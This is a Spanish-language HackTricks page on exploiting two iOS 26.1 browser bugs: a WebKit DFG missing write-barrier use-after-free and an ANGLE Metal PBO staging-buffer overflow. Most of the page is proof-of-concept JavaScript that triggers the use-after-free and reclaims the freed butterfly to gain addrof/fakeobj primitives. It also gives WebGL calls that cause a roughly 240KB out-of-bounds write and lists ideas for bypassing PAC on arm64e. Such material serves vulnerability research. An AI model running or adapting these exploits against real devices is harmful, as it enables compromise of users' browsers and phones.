WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Summary
- DFG Store Barrier bug (CVE-2025-43529): En
DFGStoreBarrierInsertionPhase.cpp, un Phi node marcado como escaped mientras sus Upsilon inputs no lo están hace que la fase omita insertar un write barrier en stores de objetos posteriores. Bajo presión de GC esto permite a JSC liberar objetos que aún son accesibles → use-after-free. - Exploit target: Forzar que un objeto Date materialice un butterfly (por ejemplo,
a[0] = 1.1) de modo que el butterfly sea liberado, y luego reclamado como almacenamiento de elementos de array para crear confusión boxed/unboxed → primitivasaddrof/fakeobj. - ANGLE Metal PBO bug (CVE-2025-14174): El backend Metal asigna el PBO staging buffer usando
UNPACK_IMAGE_HEIGHTen lugar de la altura real de la textura. Proveer una unpack height pequeña y luego llamar a untexImage2Dgrande causa una staging-buffer OOB write (~240KB en el PoC abajo). - PAC blockers on arm64e (iOS 26.1): El TypedArray
m_vectory el JSArraybutterflyestán PAC-signed; falsificar fake objects con punteros elegidos por el atacante provoca crashes conEXC_BAD_ACCESS/EXC_ARM_PAC. Solo reutilizar butterflies ya firmados (reinterpretación boxed/unboxed) funciona.
Triggering the DFG missing barrier → UAF
function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A; // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly
// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));
const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1; // Phi escapes, Upsilon not escaped
A.p1 = f; // Missing barrier state set up
for (let i = 0; i < 1e6; ++i) {} // GC race window
b.p1 = a; // Store without barrier → frees `a`/butterfly
}
Puntos clave:
- Coloca A en old space para ejercer las barreras generacionales.
- Crea un Date indexado de modo que el butterfly sea el objetivo liberado.
- Spray
ArrayBuffer(0x800000)para forzar el GC y ampliar la ventana de race. - El mismatch de escape Phi/Upsilon impide la inserción de barreras;
b.p1 = ase ejecuta sin write barrier, por lo que GC reclamaa/butterfly.
Reclamación del butterfly → confusión boxed/unboxed
Después de que el GC libera el Date butterfly, spray arrays para que el slab liberado se reutilice como elements para dos arrays con diferentes element kinds:
boxed_arr[0] = obj; // store as boxed pointer
const addr = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr); // write pointer bits as float
const fake = boxed_arr[0]; // reinterpret as object → fakeobj
Estado en iOS 26.1 (arm64e):
- Funciona:
addrof,fakeobj, 20+ address leaks per run, inline-slot read/write (on known inline fields). - Aún no estable: generalized
read64/write64via inline-slot backings.
Restricciones PAC en arm64e (por qué los fake objects se bloquean)
- TypedArray
m_vectory JSArraybutterflyestán PAC-signed; forjar punteros produceEXC_BAD_ACCESS/ probablementeEXC_ARM_PAC. - La primitiva de confusión funciona porque reutiliza butterflies firmados legítimos; introducir punteros de atacante sin firmar falla la autenticación.
- Ideas de bypass potenciales anotadas: rutas JIT que omiten la autenticación, gadgets que firman punteros del atacante, o pivotar a través de ANGLE OOB.
ANGLE Metal PBO subasignación → OOB write
Usa una altura de unpack mínima para reducir el staging buffer, luego sube una textura grande para que la copia se desborde:
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual = 256 * 256 * 4 = 256KB → ~240KB OOB
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
Notas:
- Bug en
TextureMtl.cpp: el staging buffer usaUNPACK_IMAGE_HEIGHTen lugar de la altura real de la textura en la ruta PBO. - En la prueba de referencia, el trigger PBO de WebGL2 está conectado pero aún no se observa de forma fiable en iOS 26.1.
Referencias
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


